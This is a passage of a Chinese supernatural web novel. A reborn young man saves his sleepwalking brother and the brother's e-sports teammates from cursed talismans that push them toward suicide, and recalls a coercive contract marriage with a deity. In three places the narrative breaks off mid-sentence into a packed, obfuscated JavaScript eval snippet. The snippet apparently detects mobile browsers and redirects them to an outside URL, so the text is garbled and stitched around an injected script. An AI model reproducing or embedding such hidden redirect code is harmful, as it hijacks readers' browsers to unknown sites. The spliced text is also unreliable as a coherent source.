诸淮知道自己老爹做的饭菜很好吃,但他也没想到有人会喜欢到这种程度,听诸莫的意思,对方还只愿意吃他做的菜。 诸莫接着说: “她一个小女生,独自一个人过来吃饭,点了二十只烤乳鸽和十几盘大肉菜,对着直播吃了半天,还说自己饿得慌!一定要我给她做菜,今天还不知道要忙多久,我活了这么多年,第一次见到这么厉害的顾客。” 诸莫的语气很稀奇,但更多的还有一些担忧,毕竟这样的食粮实在太过骇人,要是顾客在餐厅里出了什么事也是一个不大不小的麻烦,诸淮也皱起了眉头,但诸莫那边又开始忙碌起来,他直接挂断了电话。 在挂断电话的最后一秒,诸淮仿佛听见了一声模糊的、仿佛幻觉般的嘶吼,有一个声音在一遍遍地重复着,不断呢喃着饿,她很饿! “大胃王?”诸淮思索着诸莫的话,不知为何,他感到一丝隐晦的不对劲,事出反常必有妖,诸莫是摆脱了原本的死劫不错,但诸淮的心里仍然有一丝警惕,他不想自己的家人再受到什么危险。 他将这件事记了下来,现在诸淮的事还没有解决,诸淮希望这只是他的错觉,想到这里,诸淮皱起眉,他怎么感觉自己重生之后,身边的所有人都似乎遇到了大大小小的不同麻烦? 又回去看了一眼诸柘的状况后,见这小子仍然睡得跟死猪一样,诸淮终于放下心,回到自己的房间里躺了下去。 刚一躺下,他就感觉有些不太适应,这个许久没有回来的家仍然是原来的那个家,但他的床却太小了,在祖宅里,他和柳相床非常大,因祭神的体型异于常人,诸淮的床是真的大得可以供他在上面滚来滚去,翻好几个身。 但无论怎么翻身,翻到哪里,他最终还是会落进一个冰冷的怀里,被那双铁铸一般的手死死箍进怀中,那人的一头黑发会细细地包裹在他的身上,对着他轻声说:“你哪里也别想去。” 祂的声音悦耳低沉,如夜幕下滚滚翻涌的海浪,在黑海中伸出无数模糊的触须,将祂怀中唯一的猎物裹挟,一边下沉,一边带着诸淮一同坠入海底。 柳相不能离开祖宅,所以在与柳相结契后,诸淮便也只能陪在祂的身边,和祂一同被囚困在那冰冷孤寂的祖宅里。 他曾经十分畏惧那可怖的庞然大物,曾经有一段时间,柳相给他带来的只有恐惧与抵触,在他决定离开柳相,与祂断契的时候,柳相的样子看上去几乎像是要撕碎他,祂的模样狰狞至极,一头黑发的祭神只掀起唇角,对着他说:“你还想去哪里?你能去哪里?” 柳相抓住诸淮的手,在祂面前,诸淮小得像是随时会被祂掀起的阴影覆盖,诸淮无力挣扎,连反驳的声音都不能发出,他无法逃离、无法拒绝,没有选择的权力,没有自由,同样也没有任何逃脱柳相的可能。 他就像是祭神手中的私有物,是祂最喜爱,也是觉得最有趣的玩具,他的身上都是柳相留下的印记和纹路,祭神拥有极强大的力量,而祂则要用这样的力量化为无处不在的枷锁,将诸淮死死囚困在爱欲与契约形成的牢笼中。 在他认为自己最厌恶柳相的时候,他整日整日的躺在床上,一天只有极少数的时间能够清明,身上只有斑驳的痕迹。柳相的身躯宛如坚不可摧的山峦一般沉重地压下来,化为一尊玉美的雕像,将他的呼吸与求救的颤抖完全压制。 祂一手将诸淮按在床上,属于祂的纹路在契妻的身上暧昧地扩散开来,那强势的、不可忤逆的动作,让诸淮只能像无处可逃的雌兽般呜咽出声。 黑暗压抑,混合着情欲色彩的记忆涌来,诸淮恍惚间嗅闻到一股清甜的香气,那是柳相身上的味道,他在床上翻了个身,诸淮将脸埋在枕头上,两枚黑如玉石的眼眸闪了闪。 那些漆黑的痕迹悄无声息地消散,最终化为柳相冰冷的、毫无生息的尸体。 无论柳相对他做了什么,亦或是曾经犯下了什么恶劣的事,但祂最后都死了。 他曾经认为无所不能,无法反抗的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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诸淮继续说道:“我当然不能眼睁睁地看着这家伙待在这里,就把祂推了回去,我还以为这是哪里跑出来的病人,还和祂聊天说话,但祂全程不跟我说一个字,只是一言不发地盯着我看,那模样瘆人得很。” “回到柳家后,才人仆人过来看见柳相的模样,他们被吓了一跳,这个时候我才知道,这家伙就是我的雇主,而我的任务,就是要照顾好这个生病的病人。” “那不就简单了吗?”诸淮说:“我以为这是什么大家族在挑选合适的护工,这家伙就是我的金主呢,所以我当然把他当大爷一样伺候着,还美滋滋地想着照顾好他之后,或许就可以想办法回家……” 诸淮的话说到这里,他与柳相的初遇已经显而易见:柳相选中了诸淮,选择了他成为自己的契子。 而诸淮并不知晓究竟发生了什么,还傻乎乎地以为自己就是来这里干活的,花了不少时间将柳相养得白白胖胖,精心伺候着对方,结果回头才发现,他来这里的真正目的,是成为对方的老婆。 这简直是在为难诸淮这个不知社会险恶的大学生,他以为自己找到了初入社会的第一份工作,结果这却是一份007无休,还没有节假日,没有合同,也没有辞职一说的无良工作。 成为一位祭神的契妻。 诸淮当场傻了眼,殷泉听完他的话后也有一丝唏嘘,它说:“那你一定是很讨厌祂了?” “也没有,这家伙出手还挺大方的。”诸淮笑呵呵的:“祂一个月给我几百万的工资呢。” 更何况,最开始的柳相看上去还挺可怜的,诸淮想起了当初的那一幕,是他见到了柳相,也是他将精心照顾着柳相,让那个满心只有怨恨和疯狂的柳相变成了一副正常人的模样。 而若是没有柳相,那诸淮可能已经变成了顾家人心心念念的备用容器:他被认回顾家的原因,就是他们需要诸淮的身体。 往日的记忆一闪而过,正在此时,另外一个房间里,被绑在床上的诸柘却像是梦见了什么东西,他在梦中忽然奋力地挣扎起来,啪!他身上的绳子竟被诸柘用力硬生生地扯断! 诸柘面无表情地从床上缓缓爬起,他的肤色惨白,眼皮紧闭,挣脱了这一层的阻碍后,诸柘缓缓走下床,他的身影在镜子前一闪而过,而就在他路过镜子的那一瞬间,诸柘却转过头,他的眼睛仍然紧闭,却像是在与镜子中的自己对视,看见了什么东西。 房间内的空气都变得冰冷起来,诸柘转过头,他走到自己的房门前伸出手,悄无声息地缓缓打开了门。 4. 你带哥哥去跳楼 房间里十分安静,一缕缕淡淡的黑气从诸柘的身上飘了出来,室内没有开空调,温度却在慢慢降低。 诸柘躺在床上,他像是端午节的粽子一般被人五花大绑了起来,诸柘睡得正香,完全不知道其他人对他做了什么,他已经很久没有睡得这么安稳过了。 镜中似乎有什么模糊的身影一闪而过,一串脚步声从楼下传来,最终停留在诸家的大门前,“当、当、当”,三声清脆的敲门声传来。 诸柘似乎听见了什么东西,他睁开眼,却发现眼前一片漆黑,屋内没有开灯,他印象中的自己是刚刚坐高铁回到了家,还没有来得及吃上一口热饭就沉沉睡了过去。 现在他躺在自己的房间里,应该是有其他人把他送到了床上,想必应该就是诸淮干的,诸莫工作忙碌早出晚归,诸淮待在家里,实际上是他照顾弟弟更多,也更像一个长辈。 他睡得有这么沉吗?诸柘有些迷糊地想,视野里的一切都不怎么清晰,房间内的所有物件似乎都蒙上了一层模糊的色彩,在黑暗中显现出了另外一种姿态,诸柘还以为是自己看错了,他想去开灯,却忽然发现自己的身体竟然莫名动弹不得! 诸柘顿时瞪大了眼睛,他低头看去,却什么也看不见,身体像是被什么东西死死捆住,他宛如一尾被网住的小鱼般竭力挣扎,却无论如何都无法摆脱身上的束缚! 诸柘转动脑袋,他的手脚无法动弹,身体宛如被某种重物死死压住,房间内静悄悄的,诸柘却在这死寂一般的环境中,听见了某种物体在地面上拖拽而过,近乎幻觉般的声响。 他的意识清醒无比,在床上睁大眼睛,一股莫名的直觉告诉他不对劲,他的房间里似乎有另外一个人! “哥,是你吗,你在哪里?” 诸柘张了张嘴,可喉咙却像是被什么东西死死堵住似的,发出的呐喊和声音都被无形的空洞吞噬,诸柘一个字也说不出来,身体沉重无力,四肢百骸像是浸入冰窟一般,而在这样的情况下,他转过头,却听见那道声音在朝着他的房间缓缓靠近。 他的房间里真的有另外一个东西! 诸柘头皮发麻,他瞪大眼睛竭力去看,却什么都看不见,黑暗的房间内只有他的呼吸声,但在那层暗色中,诸柘却仿佛能够看见一道无形的视线就在他的面前,在房间内的不远处望着他。 有人在看着我!诸柘的脑中划过这个念头:有一个人待在他的房间里,正在看着他。 原本熟悉的卧室忽然变得陌生起来,那沉重的、迟缓的拖拽声再次响起,没有任何脚步声,也不像是生物发出的动静,更像是长长的黑发吸饱了血,在地上蜿蜒地流淌,每朝着他的方向更靠近一些,黑发便会在地板上拖拽中长长的血痕…… 诸柘一瞬间意识到了现在的情况,他被鬼压床了!诸柘竭力想要从床上爬起来,但身体却始终无法动弹,被某种东西死死限制,在最无力的情况下,诸柘却清晰地意识到那道声音在朝着他慢慢靠近,人的幻想是最可怖,也是可以真正逼疯人的存在。 诸柘的身体像是化为水泥一般沉进了水泥中,焊死在了这张床上,他的身上迅速渗出大量冷汗。 而在这样的情况下,诸柘却看见房间的阴影之中缓缓出现了一道身影,那是一道似人非人的模糊身影,黑暗中,那道身影似乎在凝视着他,在诸柘的房间内,他转过头,与那道看不清形体的东西对上了眼。 诸柘看不见那东西的具体模样,却忽然意识到了不对劲:因视线的原因,他感到自己偏过头时才能和对方对视,但他所望的方向却是地板。 所以,那个不知道到底是什么的东西要不然是蹲在地上和他对视,要不然……对方便是失去了下半身,不能行走,不能说话。 就那样趴在地上,缓缓拖动自己的身体,与床榻上的诸柘对上了眼。 当他想通了这一点时,前所未有的恐惧传来,诸柘心跳加速,身体不停发抖,也许是求生的本能让他终于爆发出了强大的力量,诸柘用力地咆哮一声,终于挣脱了身上的束缚,从床上站了起来! 撕拉一声,像是什么东西被撕开,诸柘像动物园里的老虎一般跳下了床,他扭过头一看,顿时被吓得手脚发软。 刚刚一直束缚着他的,缠绕在他身上的东西,居然是一圈圈漆黑的长发。 他这是见鬼了吗?诸柘想,这个房间不安全了,他必须尽快离开这里,想到这里,诸柘什么都顾不上了,他快步绕开了那个东西所在的地板,如同疯了一般冲出了房间,诸柘打开门向外跑去,还不忘啪地一下将门关上。 客厅一片漆黑,诸柘拼命地按动电灯,但不知道为什么,即使灯光已经点亮了起来,室内的光线仍然是昏暗的、模糊的,怎么也看不清东西,整个世界都像是被抹上了一层灰色,在这样的情况下,滋滋的声音忽然传来,诸柘低下头一看,却是从自己的口袋里掏出了一个半损的符咒。 这个符咒还是上一次活动时,另外一个战队的人当做礼物送给他的,其他队友包括诸柘都收下了这份礼物,据说这是对方从一座庙里求来的保护符,非常灵验。 一向不相信这些东西,对于封建迷信毫无感觉的诸柘看着眼前这无火自燃的符咒,再联想到刚刚房间内看见的东西,他不由得倒吸了一口凉气:“难道这世上真的有鬼?” 嘭,嘭! 正在此时,诸柘所在的房间内居然传来了奇异的撞击声,但那声音十分微妙,从门的下方传来,听上去简直就像是一个趴在地上爬行的人在从里面敲着门一样。 极度的恐惧慢慢渗透到诸柘的心里,让他手脚发软,用力地捏住这枚符咒:“不管怎么样,都是这道符咒救了我,不行,如果有机会我得问问白安这到底是哪座庙的灵符。” 诸柘说着,将半枚灵符小心的放回兜里,他好像从这枚灵符上找到了前所未有的安全感,但诸柘一抬起脸,看见镜子中的自己时,诸柘却被吓了一大跳。 镜中的诸柘长着一张和他完全不同的脸,那张脸极为陌生,诸柘看不清那张面孔,却只能隐约看见苍白的肤色,他缓缓伸出手,却在自己的脸上,摸到了唇边勾起的弧度。 这张不属于诸柘的脸看着镜子,用模糊的五官在笑。 “这地方不宜久留!”诸柘往后退了几步,吓得手脚发软,路都要走不动了,但他却没有忘记自己的家人,他拼命拍打着诸莫和诸淮的房门,让他们快点出来,家里有鬼! 这么大的动静终于引来了诸淮的注意力,咔嚓一声,房门沉重地砸在了地上,诸淮出现在诸柘的面前,诸柘二话不说,拉起诸淮的手就要离开。 诸淮脸上的表情非常模糊,诸柘看不清他的表情,只能看见自己哥哥的嘴一张一合,似乎在说些什么,那些模糊的声音像是从极其遥远的地方传过来的,诸柘隐隐约约捕捉到几个字。 “你是……怎么……出来的?” “住手!” “你在……干什么……” “快停下,诸柘……快醒……” 诸淮似乎非常着急,并且十分震惊,但诸柘却管不了那么多了,他不知道该怎么跟家人解释,只能对着诸淮说:“别说了,快跟我走吧,这里有鬼!” 似乎是听见了诸柘的话,门口传来的敲门声更大了一些,似乎下一秒就要从房间里冲出来!诸柘不顾一切地就要拉着诸淮离开,但诸淮却一直在竭力挣扎,还似乎想要伸出手摸向诸柘的额头,就像是想要看看他是不是失心疯了似的。 拍打房门的声音越来越大,危险近在咫尺,在这样的情况下,诸柘没有办法解释,也不知道该怎么办,诸淮拼命地拒绝他,两个人在客厅拉扯起来,诸淮甚至抓着他的领子想要把他按到椅子上,而就在这个时候,诸柘似乎隐隐看见诸淮的身后出现了一道若隐若现的身影。 是那个东西,它趴在地上看着诸淮,似乎想要对他出手! 不能再犹豫下去了! “哥,跟我走吧,家里有鬼啊!”诸柘伸出手挣脱了诸淮的束缚,他咬紧牙,手脚发力,低喝一声,下一秒,他居然硬生生地将比他还高一些的诸淮从地上扛起,扛到了背上! 力拔山兮气盖世! 这一瞬间,所有的争执与拉扯都沉寂下来,整个世界仿佛都沉默了,诸柘耳边的声音彻底消失,诸柘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16177649|180795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“哥,我不会放弃你的,我一定要带着你离开这个鬼地方!” 下一秒,这个十九岁的电竞少爷扛着诸淮,大步向诸家的大门走去,他似乎撞开了什么束缚,一路走了很漫长的距离,奇怪,大门有这么远吗? 诸柘一步一步地走着,似乎有一个声音在指引他不断向前,渐渐的,他终于走到了终点,耳边的声音也变得清晰起来,像是有一个人在他的耳边不断重复着一句话,就在他的身侧,对着他不停的、不停的说: “跳下去、跳下去、跳下去——” 耳边似乎有风声传来,诸柘站在最高层的楼顶上,他的面前是十几层的高楼,只需要迈出一步,就会从楼顶跌落。 他闭着眼睛,手中拿着一把刀,诸淮被他死死拉住,在最后一刻,诸淮伸出手将他一把拉回,并在他的额头上画出一道符咒。 这符咒让诸柘短暂地清醒了过来,诸淮伸出手,在自己弟弟后脑用力地拍了一下,他咬牙切齿地说:“诸柘,给我醒过来!” 诸淮的声音终于让诸柘清醒过来,他睁开眼睛看见眼前的一幕,吓得后退几步,差点跌倒在地上,手中的菜刀也摔落在地。 诸柘面色苍白地望着诸淮,他不断摇着头,不知道究竟发生了什么,而在他后退的过程中,一个符咒也从他的兜里飞了出来,这个符咒上沾染着非常浓郁的黑气,诸淮皱起眉看了诸柘一眼,这让诸柘下意识地站直了身体,而诸淮则低下身捡起了那枚符咒。 “这上面沾染着一股莫名的诅咒。”殷泉说:“你弟弟是从哪里弄来的这个东西?” “这东西该怎么处理?” 诸淮的心情不算太好,不知为何,当他握住这枚符咒的时候,他只感觉一股淡淡的冷意在往自己的身体里钻,诸淮刚想把这东西丢出去,他手臂上却忽然浮现了柳枝的纹路。 这些纹路似乎一直藏匿在诸淮的体内,潜伏在他的灵魂之中,在察觉到危险时便涌现而出,是常人无法看见的灵纹,诸淮低下头,便看着一条柔韧的柳枝从他的皮肤中钻出,它慢慢抬起头,将一截柔软的枝干压在符咒上,像是在吞吃着什么。 “这是什么?” 诸淮似乎是现在才发现自己的身上竟然有这种东西,他看着这些暧昧的纹路,瞳孔却骤然一缩,因为他终于找到了那一丝熟悉感。 在柳相身边,在柳家的祖宅里,在与柳相结契的时候,他曾经被迫坐在那位祭神的身上,看着他慢慢伸出手,用沾染着浓金墨水的画笔,在他的身上一点点描绘出这些纹路。 “契约有灵,永生不悔,画上了我的痕迹,你就是我唯一的契子了。”那位祭神捏住诸淮的下巴,强迫他抬起脸,用温柔的声音对他说:“结成契约后,你我就生死相随,永不分离,诸淮,你高兴吗?” 那悦耳的声音像是含着满腔的喜悦,几乎要溢出一般,用这样的声音将诸淮的一切溺毙在他的口中,不等诸淮回答,柳相就情难自禁地说:“我很高兴。” 过去的回忆一闪而过,诸淮手臂上的柳枝钻了回去,重新栖息在他的肌肤上,慢慢将自己完全隐匿起来,诸淮定定地望着这一幕,片刻后,他才垂下眼睛,将自己手中的符咒翻开。 在被柳枝吸走了所有黑气后,这枚符咒似乎就失去了那蛊惑人心的力量,变得普通起来。 “这、这是其他人给我的符咒,据说是从庙里求来的,非常管用。” 诸柘的心跳加速,他脸上满是细汗,到现在仍然不知道发生了什么,被天台上的风一吹,几乎要被冻得瑟瑟发抖起来。 他是知道自己最近的精神状态不佳,但他也从来没有想过自己某一天会带着哥哥去天台COS跳楼机啊! 符咒慢慢展开,画着奇异纹路的纸张翻开,在其中似乎写着几个大字,诸淮看清了上方的字迹,他深深地看了诸柘一眼,对诸柘说:“这上面的东西确实非常灵验,这东西是谁给你的?” 诸淮拿起符咒,将上方的字给诸柘看,只见在符咒的最中心只写着几个鲜明的大字: “去死。” 诸柘看着这两个字,脸上的表情迅速变得难看起来。 5. 呸!这是我哥! “这到底是怎么回事?”诸柘的表情变得非常难看,他没有想到白安送给他的守护符里居然写着这样的话。 诸柘定睛一看,这在印象中已经半毁的守护符此时却完好无损,只是仿佛突然变得黯淡脏污了一般,被诸淮捏在手中,鲜红的两个字也迅速淡化下去,失去了那份诡异的感觉。 诸淮知道这上面的黑气已经彻底消失,但诸柘却不知晓这其中的隐秘,他心中只感到一阵后怕。 联想到刚刚发生的一切,诸柘只感觉脊背发凉,他在梦中发现自己家中有鬼,却在睁开眼睛的那一刻,才发现自己险些跌落高楼! 如果他的哥哥今天不在家,那么他独自一人的时候会发生什么? 这些东西,诸柘甚至不敢深思,他感觉自己几乎是从鬼门关上过了一遭,但最让他后怕的是:他刚刚居然差点拉着自己的哥哥一起死! 诸柘被吓了一大跳,他连忙解释道:“我不知道发生了什么事,我……哥,我好像见鬼了。” 诸柘脸色发白,低着头对诸淮说,他也不知道诸淮会不会相信他,这样的事实在太过惊悚离奇,连诸柘都不知道自己究竟是在做梦梦游,还是真的撞鬼了。 诸淮说:“我相信你,小柘。” 让诸柘没有想到的是,诸淮居然毫不犹豫地相信了他的话,这让诸柘有些感动。 在他的眼中,此刻的诸淮身上几乎像是散发出了圣光一般,仿佛天使降临人间似的,诸柘不由得擦了擦鼻子。 他说:“哥,我不知道发生了什么,但我刚刚是真的撞鬼了。” 他浑浑噩噩,好几天没有睡觉,此时站在天台上,一阵冷风从身旁吹来,让面色惨白的诸柘像风中的小豆芽似的缩了缩身子。 楼下隐隐聚集了几个人,此时虽然已是深夜,但诸柘和诸淮大半夜上天台吹冷风的举动还是引起了一些人的注意。 见到这一幕,诸淮将诸柘拉回家里:“回房间说。” 诸柘和诸淮回到家时,他还有些心有余悸,在从鬼门关前走了一遭后,诸柘的心中除了惊恐,还有燃烧而起的愤怒。 他口中恶狠狠地念出一个名字:“白安,那家伙为什么要给我这个东西?他想害死我吗?” 白安是另外一个战队的选手,同时也是诸柘青训时的队友,他们应该算得上半个朋友,诸柘怎么也想不到,那个笑着给他们送来守护符的人,会在暗地里做出这样的事。 诸柘的喜恶异常明显,一想到刚刚发生的事,他就只想冲到白安面前,然后把那家伙按在地上狠狠地殴打一顿! 可不要小看诸柘的体力,从刚刚他将诸淮硬生生扛起拉到天台同跳,以及硬生生扯断了绳子的举动中可以看出他的力气究竟有多大。 这小子从小就有一身用不完的蛮力,诸柘虽然才19岁,脸长得白净帅气,还是个电竞选手,但实际上十岁那年他到邻居家串门的时候,就能把一条成年金毛硬生生从大街上扛回家,把那条犯倔的金毛都搞得有些愣住了。 此时诸柘颇有些咬牙切齿,若是白安真的出现在他面前,那诸淮真有些担心对方被打得满地找牙,诸淮只能暂时稳住双眼喷火的弟弟。 他询问道:“你说你刚刚撞鬼了?你撞见的是个什么鬼?” 这话一出,屋内的温度似乎都凉了下来,刚刚在屋子里,诸柘从自己的房门里冲出来的时候,诸淮是怎么拉也拉不出这一身蛮力的家伙。 然而此时的他双目闪缩,一副畏畏缩缩的模样,眼睛不断在自己的房间和屋内扫过。 诸柘说:“那好像是个趴在地上的女鬼,她就趴在地上看着我。” 越说,诸柘的表情就越是恐惧,他接着说:“她就在我的房间里,还用发丝将我死死绑在了床上,她简直就是彻头彻尾的恶鬼,伤天害理无恶不作!我无法想象到底是什么样的魔鬼才能干出这种事……” 他说到一半,却是看见自己哥哥钻进他的房间里拿出了断裂的绳子,诸淮说:“这是我绑的。” 诸柘:“……” 诸淮:“你不知道你晚上会梦游吗?对了,你刚刚说谁是恶魔?” 诸柘:“哥,是你绑的我?” 诸淮又在房间里看了看,他说:“这里没有鬼,这绳子是你自己扯断的,我房间的大门是你拆下来的……” 诸柘看向那扇砸落在地的大门,他刚刚好像确实在梦里听见了有什么东西沉重的倒在地上的声响,但他也没想到这是他自己把诸淮的门给拆了。 诸柘说:“我们家是老房子了,这门本来就不牢,我们得在老爸回来前把门修好。” 此时的诸柘就像是拆家的金毛一般有些尴尬起来,诸柘说:“所以这些都是我自己干的?” “不,是有人影响了你,用这种方式把你逼出房间。” 诸淮的表情很冷静,脸色却显得十分冰冷:“这样一来,就算是你之后真的出了事,其他人包括我,也都只会觉得是你在梦游的时候出了事。” 诸淮心头狠狠一颤,背后做出这些的人险恶至极,诸柘说:“我到底是做了什么才让他这么针对我?不行,他还送了其他人平安符,那个混账!” 诸柘当即就想到了其他队友,他先确定了其他人的安全,诸柘并未第一时间就说自己撞鬼了,他先将符咒上的内容拍到群里,很快,群里的消息接连传来。 【季嫣:这是什么东西?恶作剧吗? 庄明亮:大半夜的,你怎么往群里发这个,诸柘,你不是回家了吗?你现在的身体状况怎么样? 夏正文:这好像是白安送给我们的平安符,这是他写的吗? 诸柘:别开玩笑了,你们现在就看看自己的平安符里有没有这东西!】 另外一个队友因身体不适去休息了,他们三个人还在晚上加练,为了之后的比赛,所有人都异常辛苦。 而诸柘发来的截图在夜深人静的环境里就宛如散发着不详气息一般,给他们带来了某种异样的征兆。 群里没有其他人,队友大部分都在,他们也有些疑惑起来,但也有人拿起了那枚小小的平安符,然后将其慢慢拆开。 【庄明亮:这是怎么回事?! 夏正文:开玩笑吧……】 诸柘低头一看,屏幕上的两张符咒里都写着满怀恶意的文字,只有季嫣的符咒里没有任何东西,诸柘握紧了拳头,他气得几乎双目喷火。 诸柘快速打出一行字: 【诸柘:我这段时间的异常都是因为这张平安符,白安这个混账!他送给我们这些东西就是不安好心!】 群里安静下来,似乎是有人在讨论着什么,片刻后才有人发言。 【夏正文:富强民主文明和谐,自由平等公正法治…… 庄明亮:等明天有空我就拿着这东西区质问他,那小子是个笑面虎啊,不过季嫣,为什么你的平安符上没有任何东西?还有诸柘,你这话说的是什么意思? 季嫣:我觉得白安不会做出这种事。】 几个人的群里聊得不可开交,虽说这东西十分膈应,还带着某种诅咒意味,但诸柘真要说是这东西害了他,并不是其他人不相信他,而是就好像20世纪有人说自己撞见了水猴子般,所有人都只会当个笑料,不会当真。 【诸柘:不管你们信不信,这玩意不是什么好东西,等我回来我就把白安按在地上揍一顿,你们不要再把这东西放在身边了。】 诸柘说到最后却像是意识到了什么似的,他现在能够站在这里都是因为诸淮拦下了他,而诸淮又是怎么做到的? 诸柘忍不住看向诸淮,而此时的诸淮则微微皱着眉,看着屏幕中的符咒表情凝重。 诸淮说:“如果你们都收到了这份‘礼物’,那么这些符咒或许会影响到其他人,你这边的问题被解决后,那鬼又应该去找谁呢?” 他看着那些照片,却只能看见照片中的符咒都散发着淡淡的黑气,诸淮说:“你的队友现在都很危险,如果我没有猜错的话,下一个出事的或许就是他们了。” “我该怎么做?”诸柘握着手机站在原地,看上去有些茫然,片刻后,他突然灵光一闪:“哥,我把你拉进群里,我也想知道这到底是怎么回事。” 诸柘不知道自己哥哥究竟什么时候有了这样的本事,但刚刚如果不是诸淮拉了他一把,现在的诸柘早就没了,诸柘无条件信任他,这让诸淮有些高兴。 诸淮说:“不要急,你把你刚刚看见的,知道的都告诉他们,既然你们都收到了这个符咒,那么他们或许也会遇到一些奇怪的事。” 在诸淮冷静的安排下,诸柘的心也慢慢平静平定下来,他身上都是虚汗,从前熟悉的哥哥忽然变得陌生起来,诸淮的眼神平静,像是知道究竟发生了什么,也知道该怎么解决。 【诸柘:我不会在开玩笑,这玩意留下来只会惹来麻烦,我之所以这么说,是因为我刚刚真的撞鬼了,我看见一个披头散发,趴在地上的女鬼!】 此话一出,刚刚还在争执的几个人忽然安静下来,此时已经是凌晨0点,阴气最重的时刻,诸柘却在群里发来了这些东西。 一股莫名的恐惧逸散开来,伴随着诸柘一点点细致的描绘,就仿佛那个女鬼真的出现在他们身边,还真的朝着他们靠近了过来。 庄明亮坐在椅子上,看似冷静,但怕鬼的他其实已经走了有一段时间了,而夏正文则一副若有所思的样子。 季嫣皱起眉,像是有些不悦,她认真地说:【诸柘,你不要开玩笑。】 她顿了顿,接着又说:【你这段时间的精神状况不是很好,我可以理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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邵怀萍死死地盯着他,片刻后,她竟然是尖叫一声,就要冲出房间离开,一群人连忙制住她,而夏正文则在百忙之间看了一眼手机,询问诸柘到底是怎么回事。 【诸柘:快把她按住,我刚刚差点被逼得跳楼,你们一定不能让她离开自己的视线!】 邵怀萍犹如一匹受了刺激的红马一般冲锋了起来,拦都拦不住。 接着,诸柘又说:【我不知道到底该怎么办,等等,让我拉个人进来。】 伴随着邵怀萍的挣扎声,其他几个人将她死死按在地上,场面看上去几乎有些惨烈起来,而这个时候,群聊里传来了一声提示音。 夏正文低头看去,只见到一个ID名为子不语的人被拉入了群,对方发来一条语音消息,夏正文的耳边都是邵怀萍的啜泣声和庄明亮被狂扇巴掌的声响。 或许是把庄明亮当成了索命的女鬼,邵怀萍的动作那叫一个狠,请庄明亮吃了这辈子最多的几个大嘴巴子。 看着这热闹的场景,夏正文点开那条语音消息,便听见一道悦耳清朗的声音念出了一段咒语,或许是错觉,在那道声音响起后,邵怀萍歇斯底里的样子看上去居然冷静了一点。 居然真的有用! 夏正文的世界观隐隐有些被颠覆了,他重复播放着那段话,用外放的声音播到最大,又拿出其他几个人的手机在邵怀萍的耳边循环播放,这就是禁忌三重咒! 也不知道是不是赛博驱鬼有了效果,邵怀萍的动作越来越轻,但她的模样看上去仍然像是遭了梦魇一般,眼中满是血丝,看上去仍然没有清醒。 诸淮本人毕竟不在她的身边,光是大喇叭喊没有什么太大用处,在这样的情况下,子不语又发了一条消息:【把她身上的符咒拿出来,烧了。】 庄明亮伸出手在邵怀萍的口袋里翻了半天,终于翻出了那个小小的符咒,他咬牙切齿地掏出口袋里的打火机。 伴随着火焰烧灼的声响,庄明亮惊讶的发现纸制的符咒居然燃烧地极慢,一缕缕黑气从中飘出,却又像是他的错觉。 总而言之,当这张符咒烧完后,邵怀萍的状态才慢慢平静下来,她恶狠狠地瞪着庄明亮,那眼神让人感觉极度陌生,最终还是倒在了地上。 三个人看着面前的一片狼藉,他们瘫倒在地上,一句话都说不出来了,庄明亮像是想起了什么,将自己的符咒也拿出来烧掉。 而夏正文则对着手机说:【哥们,你到底是谁?谢谢你帮了我们,天哪,这简直太吓人了。】 顿了顿,子不语发来一条消息:【不用谢,我是小柘的哥哥。】 夏正文:【诸柘也是我的朋友,一来二去,你也算是我素未谋面的亲生哥哥了。】 子不语:【……】 诸柘:【呸,不要脸,这是我哥!】 6. 恶鬼也是要脸的 群里的夏正文和诸柘正在斗嘴,诸淮只是看了一眼,便知道诸柘和其他人的关系必定非常好。 “恭喜你啊,短短一天,就收获了一个素未谋面的亲弟弟。” 殷泉对诸淮说道,它伸出爪子梳理着自己软软的绒毛,宽大的蛾翼盖住了整个身子,头顶的触须很有弹性地摆动。 刚刚也是它让诸淮念出了那段咒语,才解决了夏正文那边的问题,诸淮也只能硬着头皮试一试。 也不知道是不是心理暗示,他在第一遍念符咒的时候还有些磕碰,但在第二第三遍的时候仿佛灵光一闪,却是能够极其顺畅地将其念完了。 殷泉说,这是诸淮的能力在逐渐解封,毕竟他作为一位契妻,本来就应该拥有这样的本事。 诸淮也不知道自己居然有这样的本领,如果他真的这么厉害,那上辈子怎么会那样草率的嗝屁? 殷泉努力思考了一下,最终解释道:“所以你才要重生回来挽回一切啊,小说里不都是这么写的吗?” 没想到这居然还是一只会看小说的蛾子,殷泉抬起小脑袋说: “是啊,我要知道你们人类究竟喜欢什么东西,经过几个月的研究,我已经很了解你们人类的思维了。” 诸淮总感觉殷泉了解人类的方式有些不靠谱。 而另外一边,诸柘与夏正文的争论终于得出了结论:夏正文自愿成为诸柘的儿子,而诸淮则多了一个素未谋面的亲侄子。 这一番对话让诸淮的眼神变得茫然起来,他沉默一瞬,决定干脆利落地略过这番话。 或许是因为刚刚的气氛太过紧张,所以他们才会这样不着边际地胡诌,等到所有人都冷静下来后,庄明亮才捂着肿胀的脸说:【我睡不着了,我的脸好疼!】 